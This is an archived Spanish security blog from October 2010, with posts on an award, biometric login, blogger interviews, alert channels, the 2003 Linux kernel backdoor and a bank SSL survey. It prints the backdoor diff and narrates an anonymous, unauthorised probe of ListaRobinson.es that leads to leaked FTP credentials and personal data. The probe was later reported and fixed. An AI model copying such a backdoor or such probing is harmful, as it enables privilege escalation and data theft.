31 octubre 2010

Enlaces de la SECmana - 43


Leer más...

Premios Bitacoras 2010 (Gracias !!)

Ayer Sábado se celebró la entrega de premios Bitácoras 2010 en el evento interQue al que Security By Default estaba nominado en la categoría de 'Mejor blog de seguridad informática' junto con 'Un informático en el Lado Del Mal' y Kriptópolis.

Finalmente ¡¡ hemos ganado !!, desconocemos los porcentajes de votos pero estamos seguros que la votación ha tenido que ser muy muy reñida y que, aunque suene a tópico, los tres blogs finalistas (y bastantes mas que no llegaron a la final) han hecho méritos mas que suficientes como para ganar con justicia el premio.

Nos ha hecho muchísima ilusión ganar este premio, primero porque llegar a la final supone que vosotros, los que nos leéis, habéis tenido el detalle de invertir vuestro tiempo en votarnos lo que implica un reconocimiento a nuestra humilde labor (GRACIAS !!!), y segundo porque un jurado multidisciplinar ha juzgado como valioso nuestro trabajo.

Gracias a todos los que hacéis de SbD lo que es, gracias a ti que te tomas la molestia de leernos, 'Retuitearnos', recomendarnos, que a veces aportas dejando un comentario, que cuando coincidimos en algún sitio te tomas la molestia en saludar y comentar algún post ... GRACIAS !

Gracias a toda la gente aportó su sabiduría enviándonos contribuciones que dieron (mucho) mas valor a este blog.

Gracias a la gente que nos concedió parte de su valioso tiempo y se dejó entrevistar por nosotros.

Gracias a todos los compañeros que también escribís blogs de los que aprendemos día a día.

Y por supuesto, gracias a Bitacoras.com por seguir año a año, premiando la labor de la comunidad blog hispana.

Por último, queremos decirte algo:

Sube el volumen de tus altavoces y pulsa play. Con cariño de parte del equipo de SbD para ti :



Sois los mejores, el premio es vuestro
Leer más...

30 octubre 2010

Un vistazo a Luxand Blink!

Luxand Blink! es una aplicación de seguridad biométrica que permite iniciar sesión en un equipo Windows mediante el reconocimiento de nuestra cara.

El funcionamiento es realmente sencillo. Una vez instalas la aplicación  solicita registrar nuestras facciones tomando imágenes desde distintas perspectivas haciendo uso de la  la webcam. Con el perfil añadido, asocia el nombre de usuario y contraseña que será utilizado. 

,

La herramienta no parece poder integrarse en entornos corporativos, ni han dispuesto de métricas de falsos positivos (False Acceptance Rate) y negativos (False Rejection Rate).

El reconocimiento facial no es el sistema biométrico más optimo, pero la gran ventaja es que no es necesario adquirir ningún dispositivo adicional.

Nunca he probado profesionalmente la eficacia de uno de estos sistemas, pero haciendo unas pruebas tontas no conseguí saltármelo, pese a que el producto parece un simpático ejercicio de prácticas de una compañía que se dedica a productos relacionados con el reconocimiento facial y el retoque fotográfico



Leer más...

29 octubre 2010

Bloggers y seguridad

En muchas ocasiones, cuando te mueves mucho en un determinado 'mundillo', tratas a gente con inquietudes similares, lees blogs sobre esa temática, se crea un estado de conciencia en el cual se asumen como naturales y 'conocidos por todo el mundo' conceptos que probablemente no estén tan ampliamente difundidos. Al hilo de esto se nos ha ocurrido la idea de entrevistar a unos cuantos bloggers bastante conocidos, autores de blogs relacionados con la tecnología (en un plano mas general) para 'medir' cuanto de lo que para nosotros es 'el día a día' realmente tiene calado fuera de este ambiente.

Agradecemos infinitamente el tiempo que nos han dedicado:


1- Cada vez parece que la seguridad informática va tomando mas minutos de los medios tradicionales (televisión, prensa, etc) y mas a raíz del famoso 'Caso Aurora' de Google. ¿En vuestras fuentes diarias de información seguís algún sitio relacionado con seguridad o solo os llegan noticias en medios mas generalistas? (tipo Barrapunto, Digg ...)

Antonio Ortiz:  En mi caso sigo algunos blogs, leo SBD claro, pero también ojeo a Sergio Hernando y a Chema Alonso alguna vez y también a  Schneier. El caso es que la mayoría de las veces quien sabe de seguridad aborda el tema desde el punto de vista técnico y eso, como se suele decir, "me pilla lejos" después de varios sin ejercer de "informático".

El blog de Inteco podría ser una alternativa a este escenario pero creo que le falta el empuje que sí le dan otras instituciones como la CMT

Enrique Dans: Lo más especializado que sigo en ese sentido es a Bruce Schneider, que me parece una especie de profeta de dios en la tierra para muchas cosas. De todo lo demás relacionado con la seguridad me suelo enterar a través de páginas de esas que tú consideras generalistas (la palabra "generalista" está cambiando mucho su significado últimamente, va a ser que somos muy friquis :-) tales como Slashdot, Boing Boing, Digg o The Register.

Fernando Tellado: Sigo muchas fuentes y, aunque no soy técnico, estoy obligado a informarme acerca de seguridad informática. De hecho, este mismo mes de agosto tuvimos un ataque en Medios y Redes con un script a nuestro OpenX y nos vimos obligados a revisar aspectos del adserver del que no teníamos demasiada información, afortunadamente el equipo técnico lo detectó en seguida y en tiempo record estuvo solucionado, así que puedes ver que tenemos que estar siempre al día.

Como te decía, en mi caso leo a diario OpenSecurity, Security by Default y estoy suscrito a Hispasec hace años. Además, también informan sobre seguridad informática en medios tecnológicos más generalistas que suelo leer, como TechCrunch o Boing Boing.

2- Vosotros que sois gente amante del 'siempre conectado' que viajáis mucho y por ende os habréis conectado en Wifis compartidas, servicios de Internet de hoteles y probablemente en otros mil sitios potencialmente hostiles ... ¿ Tenéis conciencia de que realmente cada vez que actualizáis Twitter, Facebook, usáis Skype, el sujeto que está a pocos metros de vosotros podría tener acceso a vuestras credenciales ? ¿Tenéis la constancia de que existen herramientas bastante fáciles de usar para hacer realmente verdaderos desastres ? En definitiva: ¿Cual es vuestro grado de paranoia al respecto y que precauciones tomáis?

Antonio Ortiz: Mi grado de paranoia es moderado. Llevo 3g cuando el evento es en España y siempre prefiero utilizarlo frente a la Wifi. Cuando no es posible tirar de 3g me decanto por intentar ser razonablemente prudente: correo con conexión segura y servicios con muy poco riesgo de pérdida de datos (ej, comentario en páginas y similares). En general creo que la conciencia de peligro en estas situaciones del usuario medio es nula.

Enrique Dans: Ninguno. Soy lo menos paranoico del mundo. No me considero un objetivo interesante: no manejo información especialmente sensible, no hago transacciones demasiado importantes, procuro ser totalmente transparente en prácticamente todo lo que hago, y cuando he tenido algún problema de seguridad, el banco se ha encargado de todo con total eficiencia y sin ningún trastorno. No apunto mis contraseñas en un post-it ni las transmito en claro, pero si alguien quiere entrar en mi ordenador o en alguna de mis cuentas, supongo que - como bien sabéis - podría hacerlo sin demasiados esfuerzos, no soy ningún "reto" en ese sentido. ¿Precauciones? Dejando aparte el procurar generar contraseñas razonablemente robustas y el no usar la misma para todo, poquito más.

Fernando Tellado: Miedo me acabas de dar JAJA. En serio, tengo que reconocer que no soy muy paranoico con la seguridad personal cuando utilizo servicios sociales como los que citas, pero no por irresponsabilidad sino porque uso las redes sociales de manera personal, sin compartir nunca información sensible. Si soy bastante más precavido con respecto al uso del e-mail, donde si tengo comunicaciones sensibles. A este respecto nunca abro el correo en redes abiertas, no utilizo Webmails para correos de trabajo y cambio bastante a menudo las contraseñas, procurando que no sean fácilmente detectables. El único servicio que has citado que utilizo de manera laboral, Skype, nunca lo utilizo en redes abiertas tampoco.

Seguramente sean pocas precauciones, y espero que después de la entrevista me des algunos consejos a este respecto, y a todos los lectores claro.
 
3- Todos en mayor o menor medida hemos sufrido la acción de un virus / troyano / robo de contraseña. ¿Cual ha sido vuestra experiencia mas traumática?

Antonio Ortiz: En los tiempos de Windows 98, si no recuerdo mal, aquél tan simpático que te reiniciaba cada minuto. Blaster se llamaba el amigo. Pero vamos, nada que un par de búsquedas en la web no arreglaran.

Enrique Dans: Mi experiencia más traumática vino precisamente de un intento de protegerme ante problemas: me había instalado un software que permitía la recuperación del sistema en caso de problemas. No recuerdo fabricante ni nombre, de esto hace como dieciséis o diecisiete años, pero calculo que sería como un precursor de lo que hoy en día es Time Machine, un backup y un log. Varios meses después, por error, activé el programa y "mágicamente" (o mejor, "estúpidamente") trasladé mi sistema a varios meses antes, con la consiguiente pérdida del trabajo que había hecho durante aquellos meses. Recuerdo con auténticos sudores fríos aquella noche recuperando presentaciones que tenía en otros ordenadores, textos y sobre todo, las hojas de cálculo con los escenarios de una valoración financiera que llevaba mes y pico haciendo con un profesor de finanzas al que le tenía un particular respeto como si fuera una auténtica pesadilla.

Fernando Tellado: Personalmente tengo que reconocer que he tenido mucha suerte (supongo que debe ser suerte) pues nunca he sufrido ninguna experiencia de este tipo. Desde hace ya casi 20 años que no utilizo sistemas de escritorio basados en Windows, sustituyéndolos, primero por Linux y desde hace 8 años por Mac OSX, algo que creo que ha ayudado a evitar bastantes problemas.

En cuanto a los blogs y webs propias procuro alojarlos siempre en hostings que me den garantías en este sentido, aunque cuesten un poco más, y en las de la empresa es una obligación, para con nosotros y para con nuestros clientes. También, al igual que con el e-mail, procuro cambiar bastante a menudo de contraseña y, en concreto en WordPress - software de publicación que uso habitualmente - trato de tener siempre actualizado el sistema e informado de cualquier posible vulnerabilidad. No obstante, y como ya te he comentado en la primera pregunta, a veces no puedes evitar ataques, y lo que toca es apoyarte en un buen equipo técnico que, afortunadamente tenemos.

4- La última pregunta, tipo examen. Sin hacer uso de google / wikipedia, como de familiares os resultan los siguientes términos: 'XSS' 'WAF' 'Format String' 'Ring0'

Antonio Ortiz: ¿De verdad me vais a obligar a recuperar los apuntes de Redes y de seguridad de la información? Tengo que confesar que sólo controlo XSS y que el resto me temo que tendría que pedir ayuda. El camino hacia el tecnicoless es lo que tiene


Enrique Dans: Hombre, familiaridad sí, no es lo mismo que si me hablas en swahili. Sé lo que son, aunque con un nivel mínimo de profundidad. Usaría un XSS o un Format string para atacarte, un WAF para defenderme, y no te tocaría el ring 0 a no ser que tuviésemos ya mucha confianza :-) Decididamente, no aprobaría sin estudiar un examen mínimamente serio que me preguntase sobre sus definiciones. 

Fernando Tellado: Pues si te soy sincero solo conozco el primero, el Cross Site Scripting, pues he publicado algunos artículos en Ayuda WordPress sobre este tipo de ataques en WordPress y como tratar de evitarlos, del resto ni idea. Lo del WAF me suena a un rollo muy "geek", una acepción que se refería a la aceptación de las esposas a que el marido estuviera siempre comprando los últimos cacharritos (por Wife affectance facto) pero seguro que no es eso :D 

---

Muchísimas gracias por vuestro tiempo !
Leer más...

28 octubre 2010

Sistemas de notificación de eventos ¿Renovarse o morir?

La semana pasada tuve que hacer una presentación en un gran cliente, que en el turno de preguntas, me cuestionaba, como muchos otros clientes, sobre las capacidades de integración y el tipo de mecanismos de notificación que permiten los productos de la empresa en que trabajo, lo cuál demuestra una vez más que, en el momento de adquirir una solución de seguridad, los requisitos de integración de los logs y alertas con las plataformas existentes en la casa, son muy importantes.

Las grandes organizaciones requieren que todos los dispositivos que tengan una IP, desde servidores, electrónica de red, equipos de seguridad y comunicaciones, hasta PCs, impresoras, tostadoras y cafeteras, envíen datos sobre lo que pueden considerar un "evento" a un sitio centralizado. Allí dicha información podrá ser tratada y gestionada convenientemente para priorizarla y comunicarla a quien corresponda según esté definido en la política de responsabilidades de la organización.

Muy de moda están por ello los sistemas de centralización de eventos de seguridad (o SIEM), de los cuáles ya hemos hablado alguna que otra vez en SbD a fin de poder obtener algo útil partiendo de un montón de fuentes que, si tuviéramos que leer todo lo que envían, el resultado sería inútil o nos sobrepasaría por la cantidad de recursos humanos necesarios para procesar tanta información.

Una vez decidimos si el mejor es OSSIM, NetIQ o ARC Sight (comprada por HP hace poco), lo que está claro es que un proyecto de esta envergadura, requiere definir muy claramente quién recibirá los "diamantes" pulidos en forma de notificación, cómo, cuándo y en qué canal. No es práctico, que por una caída puntual de una máquina se notifique a toda la jerarquía de una organización. Es vital tener en cuenta la criticidad de un evento para priorizar avisando a unos u otros, según corresponda. El mismo principio es aplicable a sistemas puros de monitorización de sistemas como Nagios o Cacti por ejemplo.

Tradicionalmente, los mecanismos de aviso estándar a los centralizadores/correladores de eventos, que suelen implementar los dispositivos son los siguientes:

  • Syslog: Cifrado o no. Es, posiblemente, el más estándar sistema de envío de eventos que cualquier centralizador es capaz de entender. Indica además el "recurso" (facility) origen que genera el evento y la "severidad" (severity) del mismo, indicando por supuesto una descripción del mismo.
  • SNMP: Protocolo utilizado desde los orígenes para leer/escribir en dispositivos basándose en la comunidad utilizada. Permitía configurar o preguntar a un dispositivo por su estado de forma síncrona o asíncrona. En el caso de las notificaciones, los "traps" SNMP permiten hacer llegar un mensaje a un servidor SNMP por parte de casi cualquier dispositivo de hoy en día. A lo largo del tiempo ha evolucionado en diferentes versiones que implementan mayores detalles de seguridad/autenticación para dar su funcionalidad.
  • Email: No puede considerarse un mecanismo de notificación tan sencillo de integrar en un sistema de centralización de eventos, pero sin embargo, resulta mucho más humano para notificar a personas (en cualquier nivel jerárquico) sobre diversos problemas. Es el mecanismo preferido por las empresas para alertar al personal de que algo pasa. Y puedo decir que he visto en más de un cliente la carpeta "Nagios" en el Outlook con cientos de correos sin leer.
  • SMS: Gracias a que las empresas se empeñan en regalar un teléfono a todo aquel empleado que compense pagarle la factura telefónica mientras lo puedan tener disponible 24 horas, muchos padres y madres de familia, reciben notificaciones a horas ajenas al horario laboral, que lógicamente han de subsanar. A veces no es tan sencillo justificar que le diste al "mute", que se te quedó en el coche, que se acabó la batería o que se lo comió el perro.
  • Pager/Busca: Aunque este mecanismo está completamente en desuso, siempre vemos en películas o series cómo al inspector, policía, médico o el bombero de turno, le suena el busca y tiene que salir corriendo. Me imagino que no será un "Máquina Urano está caida; Máquina Saturno entra en el Fail-over", pero es efectivo, porque lo ve y va a atender la emergencia.

Pero,… ¿dónde pasamos el resto del día?

Contando con que el busca lo usamos poco, y el uso del SMS suena exagerado para notificaciones de una prioridad que no sea muy elevada, en según qué momentos, así como por asegurarnos que nos llega la notificación aunque lo que falle sea el servidor de correo o el servidor SNMP, puede ser interesante recibir aviso de dichos eventos por diferentes canales como:

  • Mensajería instantánea: SbD cuenta con bots para las redes de MSN Messenger, Gtalk y Facebook que avisan, siempre y cuando estés en estado "Disponible" que se ha escrito un nuevo post, entre otras cosas. Diseñar un bot para la mensajería instantánea que se desee, que alerte a los destinatarios correctos ante determinados eventos abriéndoles una ventana puede resultar más que útil en aquellas organizaciones en las que la mensajería instantánea no está prohibida.
  • Prowl: En iPhone, las notificaciones automáticas, además de acortar la vida de la batería del mismo (efecto colateral), permiten tener un mecanismo bastante potente para recibir mensajes mediante la tarifa de datos. Prowl es una aplicación que se instala en nuestro teléfono y recibe, los mensajes. Para enviar los avisos, Prowl dispone de aplicaciones por línea de comandos que le otorgan grandes dosis de flexibilidad y potencia para mentes creativas.

Como conclusiones me gustaría destacar que:
  • En todos los mecanismos de notificación comentados, hemos de tener muy en cuenta que el abusar del número de avisos, puede dar lugar a problemas de saturación, tanto de las infraestructuras, como de los receptores humanos de los mismos, lo que hará que al principio se preste atención a eventos que no valgan para nada y que, con el paso del tiempo, se descarten notificaciones que deberían tener unas acciones más inmediatas.
  • Muchos de vosotros pensaréis que es una aberración enviar eventos cuyo contenido va en claro (sin cifrar) a Twitter, Facebook o Messenger. Sin embargo, los elementos que envían notificaciones tampoco suelen incorporar mecanismos de cifrado de correo de basado en PKI como PGP, ni siquiera cifrados con una clave conocida por ambas partes. Lo más normal es que la información a recibir es saber que un backup ha terminado correctamente, que un servicio no funciona, que una partición se está llenando, etc,… En general, y dada la nomenclatura utilizada para las máquinas, poco importa que otra persona sepa lo que le ha pasado a "Mortadelo", "Filemón", "Zipi" o "Zape"… En definitiva, se trata de recibir un aviso urgente, lo más rápidamente posible. Para comunicar secretos de Estado confidenciales, mejor usar otros canales, o cifrar la información, si no queremos que aparezcan en Wikileaks.
  • Por defecto, los dispositivos normales, siguen incorporando mecanismos de notificación clásicos (SNMP, Email, Syslog remoto); si queremos algo más sofisticado hay que utilizar una pasarela, que bien puede ser el consolidador/correlador de eventos, que permita enviar a diferentes roles, mediante diferentes canales, las notificaciones definidas. Es decir, que no incorporan de forma nativa el envío mediante canales más modernos de notificación o ejecutar un script personalizado que permita construir la notificación por el medio de nuestra elección.
  • ¿Qué hay de malo en redundar la notificación por varios canales? En caso de eventos críticos, de lo que se trata es de que me entere cuanto antes, ¿no? Además así, dotamos de alta disponibilidad el sistema de envío/recepción de mensajes. Si no tengo el correo abierto, pero sí Twitter o Messenger, me enteraré de que algo de lo que debería estar alertado ha sucedido, y lo haré cuanto antes, para poder reaccionar y minimizar el impacto en el tiempo.
Leer más...

27 octubre 2010

Hackeos memorables: la backdoor en el kernel de Linux

Eran las 15:47 de la tarde del 6 de noviembre de 2003 cuando Larry McVoy, uno de los pesos pesados del desarrollo del kernel de Linux notifica que el sistema de control de versiones (CVS) del servidor kernel.bkbits.net había sido objeto de un ataque que finalmente tuvo  éxito.

La relación de Larry con la comunidad Linux siempre fue problemática ya que el software BitKeeper, que se utilizaba para el control del desarrollo del kernel (Source Code Management), era un producto comercial de su compañía. Gente como Richard M. Stallman, Bruce Perens y otros integrantes estaban en contra de este modelo. Este aviso no ayudaría a liberar tensiones.

Con este mail a la lista del kernel contaba que se había producido una intrusión y que se había modificado código fuente sin utilizar el CVS añadiendo una puerta trasera. Las palabras de McVoy intentaban ser tranquilizadoras, pero sin mucho éxito:

Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked
at the machine and it looked like someone may have been trying to break in and
do it.

We've fixed the file in question, the conversion is done back here at BitMover
and after we transfer the files we check them and make sure they are OK and
this file got flagged.

The CVS tree is fine, you might want to remove and update exit.c to make sure
you have the current version in your tree however.


No tardaron en sucederse las respuestas preguntando por detalle de lo ocurrido. Parecía increíble que alguien hubiera conseguido llegar tan lejos.

En uno de los correos intercambiados de aquel hilo tan picate, se mostraban los cambios en la syscall wait4().

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;

La noticia corrió como la pólvora y medios como TheRegister o Slashdot se hicieron eco rápidamente.

Pero ¿qué hacía realmente esa pequeña modificación? ¿cúal era la puerta trasera?. Sencillo, si sys_wait4() recibía __WCLONE|__WALL, se ejecutaba: current->uid = 0, por lo que el usuario se haría root. Por lo tanto, esta puerta trasera servía para escalar privilegios.

Por suerte, el incidente fue detectado y jamás llego a distribuirse ni tampoco al CVS oficial, tal y como comenta el propio Torvalds.
Leer más...

26 octubre 2010

Vulnerabilidades en ListaRobinson.es

En Junio del 2009, la Agencia Española de Protección de Datos (AEPD) junto con la Federación de Comercio Electrónico y Marketing Directo (FECEMD) presentaron en Madrid un nuevo servicio para los ciudadanos denominado Lista Robinson en el cual (citando la propia nota de prensa sobre el Servicio Lista Robinson) "pueden inscribirse para evitar recibir comunicaciones comerciales, mediante llamadas, sms, correo postal y correo electrónico, de empresas con las que no mantenga o no haya mantenido algún tipo de relación."

Captura de la nota de prensa sobre el Servicio Lista Robinson

El servicio que se puede visitar en www.listarobinson.es apareció en multitud de medios tras la rueda de prensa (ElPais, ElMundo, 20Minutos, ABC...), e incluso tras su presentación apareció una polémica sobre los servicios de pago que se ofrecía a las entidades para la descarga de los ficheros, que podréis consultar aquí y aquí. Se pone en duda la calidad del servicio, ya que las entidades autorizadas y registradas por FECEMD en el servicio dispondrían del fichero previo pago de una cantidad de dinero.

Pues bien, a continuación os dejamos con un artículo que hemos recibido a nuestro buzón de contribuciones sobre dicha web del servicio que explica, entre otros temas, la exposición de dicha Lista Robinson sin necesidad siquiera de registrarse como usuario, ni teniendo acceso como entidad autorizada. El artículo, según su autor, pretende ser meramente constructivo y formativo, para evitar caer de nuevo en este tipo de vulnerabilidades referentes a la seguridad en aplicaciones web.

Resaltar la rapidez en la respuesta y actuación de la federación FECEMD (que hace unos días cambió su nombre a adigital) encargada de dicho servicio frente a estas vulnerabilidades, que las subsanaron en apenas unas pocas horas tras su reporte por parte de SecurityByDefault al recibir esta contribución anónima.

--------------------------------------------

Conocía el servicio desde que se presentó, debido a su aparición en multitud de medios. El mensaje para los ciudadanos era claro "Si te registras, nadie más te molestará por teléfono, correo postal...". 

Debido a las quejas de un familiar cercano frente a una serie de llamadas que recibió a las tantas de la madrugada por parte de una compañía telefónica con el fin de ofrecerle un nuevo móvil, estuve a punto de recomendarle el servicio de ListaRobinson.es, aún no habiéndolo probado personalmente (sinceramente, no creía mucho en este tipo de cosas). Y ahora menos todavía...

Me dispuse a echar un vistazo rápido a la web, y me encontré una serie de (lo que considero yo) vulnerabilidades con un desenlace que realmente, no me esperaba en absoluto. Quiero dejar claro que no ha sido necesario registrarse en el servicio de ninguna manera, ni como usuario ni como entidad (no creo que hubiera podido conseguir la autorización pertinente...):

Sistema de CAPTCHAs

El primer sitio dónde accedí fue a un formulario de autenticación al servicio, en el que me encontré el típico CAPTCHA para evitar la automatización de procesos.

CAPTCHA de acceso al servicio mediante el formulario de autenticación

Cual fue mi sorpresa, cuando me percaté revisando el código fuente del formulario que ¡el valor del CAPTCHA aparecía como un campo oculto!

Valor del CAPTCHA incluido como campo oculto
Esto me hizo bastante gracia, pero bueno, no deja de ser anecdótico. Espero que dicho CAPTCHA no aparezca como validación en otras secciones de la web, ya que para realizar un ataque de fuerza bruta nos facilitaría muchísimo la tarea.

Funcionalidades

Accediendo al código fuente HTML de la web, se referencia a un fichero javascript que se incluye en el marco superior, llamado "funciones.js".

Código fuente HTML de la cabecera de la web
Fichero funciones.js
En él, si buscamos por ejemplo la cadena ".asp", daremos con lo que parecen funcionalidades del servicio. Obtenemos 8 resultados. Tras probar los primeros 5, parece ser que no existen (por lo menos en el raíz del servidor) así que, vamos con el siguiente:

Funcionalidad servicioempresas_00.asp
Al acceder, da un error, parece que falta algún parámetro válido, no es suficiente con ejecutarlo tal cual:

Curioso que acabe con esos dos carácteres de _00...¿y si probamos con _01?

Funcionalidad servicioempresas_01.asp
¡Existe! ¿Y con _02?

Funcionalidad servicioempresas_02.asp
¡¡Tambien existe!! Y así sucesivamente, vemos que conseguimos acceder a 6 funcionalidades que se suponía, sólo eran accesibles siendo una entidad registrada y autorizada para acceder al Servicio Lista Robinson. Al parecer, esta funcionalidad de servicioempresas corresponde con la de consulta de registros únicos en la lista por parte de las entidades. Vamos, buscar a ciudadanos y sus datos uno por uno, según domicilio, móvil, dirección de correo electrónico, o cualquier dato:


Funcionalidad servicioempresas_03.asp
Funcionalidad servicioempresas_04.asp
Funcionalidad servicioempresas_05.asp

Funcionalidad servicioempresas_06.asp
Esto también ha sido gracioso, ¡menos mal que en ese momento sabía contar del 1 al 6! De todas formas, esto no deja de ser también anecdótico. Aún siendo un servicio al que sólo pueden acceder entidades autorizadas y registradas, se ofrece como gratuíto. Ir ciudadano por ciudadano, no es muy cómodo que digamos.

Volviendo al fichero funciones.js, otra de las funcionalidades que se encuentran y que responden en la página web es "exportar_01.asp".

Funcionalidad exportar_01.asp en funciones.js
El nombre a simple vista tiene muy buena pinta....Al parecer acepta un parámetro de tipo "empresa". Por curiosidad, y tras ver como ejecutando el .asp tal cual no veía nada, coloqué un 1 como valor de dicho parámetro y al poco tiempo ví que algo se estaba ejecutando en el servidor:

Ejecutando exportar_01.asp (1)
Ejecutando exportar_01.asp (2)
Vaya vaya, al parecer la funcionalidad internamente genera el fichero para su descarga posterior para las entidades:

Fin del proceso de exportar_01
En la captura se aprecia como se informa a la entidad que haya ejecutado esta funcionalidad, que necesita instalar una aplicación "Programa SLR" para acceder a su servidor y poder descargarse la lista. Pues la descargamos e instalamos.

Como se asume que esta aplicación es únicamente para entidades autorizadas, pues no podemos avanzar, una pena, no contamos con datos que verificar.

Aplicación de descarga de ficheros para entidades
Tras un rápido análisis, averiguamos que la aplicación está programada en .NET, por lo que esperamos que pueda ser decompilada, y así acceder a su código fuente, y ver como funciona internamente, qué hace, etc. Utilizamos una herramienta gratuíta para decompilar programas en .NET, .NET Reflector:

Decompilado de la aplicación mediante .NET Reflector
¡Bingo!¡Ya tenemos el código fuente de la aplicación! Se enumeran los métodos, funciones y procedimientos de consulta y gestión de ficheros...


Así como una librería dedicada a interactuar con un servidor FTP...del que para nuestra suerte, se incluyen los datos de conexión y acceso con usuario y contraseña...

Credenciales de acceso al servidor FTP del servicio
Dentro del FTP, se observan ficheros .zip cuyos nombres incluyen un CIF, seguramente de las entidades que han generado el fichero.

Ficheros generados anteriormente por entidades autorizadas
Nuestra prueba de ejecución de exportar_01.asp anterior, tras introducir un 1 como valor del parámetro empresa, corresponderá con el fichero SLRE00100 seguramente....


Pero recordando lo realizado hasta ahora, y tras la experiencia con el servicioempresas_00 y su 01,02,03,04...¿y si utilizamos la misma técnica para el fichero exportar_01.asp? Probemos con el siguiente número _02, accediendo a exportar_02.asp a ver como responde el servidor:


En principio parece que existe tal funcionalidad...y está ejecutando de nuevo una tarea...


Cuando finaliza, en el servidor FTP aparece un nuevo fichero .txt de un tamaño considerable para ser sólo texto y el mismo nombre pero un fichero comprimido en .zip, dentro del .zip, un fichero llamado Extructura.txt y el txt que también se encuentra en el FTP, que ocupa mucho...¿qué es esto?

FTP tras ejecutar la funcionalidad exportar_02.asp
Contenido del fichero Estructura.txt que enumera el formato del fichero descargado

Le diré a mi familiar que mejor acuda a una oficina del consumidor, y que quizás sea conveniente que no se registre de momento en este servicio.
Anónimo
-------------------------------------------- 
Leer más...

25 octubre 2010

Bancos y SSL ¿Quien aprueba?

A estas alturas todo el mundo está familiarizado con SSL, es la capa de seguridad mediante cifrado que incorpora HTTP para proteger las comunicaciones.

Bajo las siglas SSL se encuentra un complejo entramado de longitudes, algoritmos y tipos de certificados. La forma en la que se combinan estos parámetros hace que un servidor ofrezca una conexión SSL mas o menos robusta. Como tantas cosas en el mundo de la seguridad, se cumple el axioma: mas robusto = mas inversión.

Teóricamente y sobre el papel la banca online debería ser ejemplo a la hora de implementar SSL en sus servicios por dos motivos:

1- Son entidades que manejan mucha inversión
2- El tipo de actividad a la que se dedican requiere todas las garantías

Pero ... ¿Es así? Hemos realizado un estudio sobre los principales portales de banca online Españoles analizando diversos parámetros para evaluar la robustez del servicio.

Criterios evaluados:
  • Soporte a SSL v2: Se puntúa como Bien no dar soporte a negociaciones SSL v2 (obsoletas y con numerosos vectores inseguros) y Mal si el servidor lo admite 
  • Tipo de certificado: Puntúa como Mal tener un certificado SSL normal y corriente (ver post sobre Agencia Pituitaria) y bien tener un certificado con Validación extendida (mucho mas riguroso y caro)    
  • Longitud de la clave RSA del certificado: Puntúa como Mal tener un certificado de 1024 o menos y Bien tener 2048
  • Soporte de algoritmos 'débiles': Se entiende por algoritmo débil aquel que cuya longitud de clave es 56 o 64 bits y  puntúa como Mal admitir esos algoritmos para cifrar la conexión y Bien no hacerlo
Los resultados (click en la imagen para mayor definición):


Destaca sobremanera el caso del BBVA, que ha puntuado en todo Mal, incluso sospecho que el hecho de que la longitud de su clave pública sea de 1023 y no 1024 se deba a un bug en la generación del CSR (hay documentados bugs de ese tipo en algunas plataformas).

Por contra, hay que destacar muy positivamente al Banco Popular, Bankinter, Deutsche Bank y Bancaja que sacan un Sobresaliente merecido.

Por último mencionaré de soslayo algo que me llama poderosamente la atención. En el mundo bancario existe una normativa llamada PCI-DSS que especifica niveles de seguridad y buenas prácticas en las entidades bancarias. En el punto 4.1 dice: 'Utilice criptografía y protocolos de seguridad sólidos como SSL/TLS o IPSEC para salvaguardar los datos confidenciales de los titulares de las tarjetas durante su transmisión a través de redes públicas abiertas' Y mas concretamente: 'Controle que se implemente la solidez de cifrado adecuada para la metodología que se utiliza'

Esto, que suena tan vago e inconcreto, por lo general se suele interpretar como el NO uso de SSL v2 y el NO uso de algoritmos débiles. 

Ficha técnica
Urls analizadas:

Banco Pastor    https://pastornetparticulares.bancopastor.es/
Banco Popular   https://www2.bancopopular.es
Banco Santander https://www.gruposantander.es
Banesto         https://extranet.banesto.es
Bankinter       https://www.bankinter.com/
BBVA            https://www.bbva.es
Deutsche Bank   https://ww3.deutsche-bank.es
Citibank        https://www.production.citibank.es
ING             https://www.ingdirect.es/
Bancaja         https://www.bancaja.es/
Caja España     https://www.cajaespana.net/
Caja Madrid     https://oi.cajamadrid.es/
La Caixa        http://portal.lacaixa.es/

Metodología empleada:

Verificación SSL v2:

openssl s_client -ssl2 -connect servidor:443

Tipo de certificado (Normal / EV):

Cualquier navegador actual (Chrome, Firefox, IE)

Longitud clave pública:

openssl s_client -connect servidor:443

Soporte de algoritmos débiles:

openssl s_client  -cipher LOW:EXP -connect servidor:443
Leer más...

24 octubre 2010

Enlaces de la SECmana - 42



Leer más...

23 octubre 2010

Los concursos NoConName 2010

Pensaba resumir los dos días en la NoConName que se ha celebrado esta semana, pero revisando los blogs que suelo leer encontré que Iván ya lo había hecho con dos entradas ([1] y [2]), una para cada día, Así que mejor centramos nuestro artículo en la charla que junto con Francisco Alonso hemos dado este año.

Inicialmente sabíamos que Blueliv y ackstorm, iban a diseñar y patrocinar un concurso llamado "La iluminación de Randa" que trataría sobre un reto forense en un caso real, buscando no solo el detalle técnico sino también la perspectiva de gestión y legal.del incidente. El reto era una simulación de una infección de malware en un banco y explicar cuál sería el proceso para la contención, eliminación y que puntos de control habría que añadir o modificar, así como las contramedidas para que no se repitiese en el futuro. Para jugar nos facilitaban una imagen  de la  memoria y una captura de tráfico. Así como un mapa de red y algunos detalles técnicos de su arquitectura.

Nuestra propuesta de charla para el calls for papers  era resolver este juego y contar como se había hecho, pero sin optar por los premios.

Luego Isec-Auditors presentó otro concurso forense más tradicional en el que dada una imagen de disco se solicitaba el título de una película.

La organización nos pidió que también lo resolviéramos y presentáramos junto con lo que habíamos propuesto. Por lo que también se preparó.

Para solucionar de la mejor forma posible "La iluminación de Randa", se ha contribuido con la herramienta de análisis forense de memoria volatility, y Francisco ha hecho un parche para darle soporte para Windows Vista SP0, que actualmente ya esta integrada en su svn.

También se encontraron varios 0days en el panel de control de SpyEye, y se hizo una demo sacando la contraseña de acceso.

Esta es la presentación con las soluciones:




Ambos retos por si quereís probar:

Forense: http://noconname.org/concursos/okin.dd.bz2
Iluminación de randa: http://noconname.org/concursos/NcN_2010_Randa_Evidencias_Concurso.tgz

Prometo contar el solucionario técnico muy pronto.

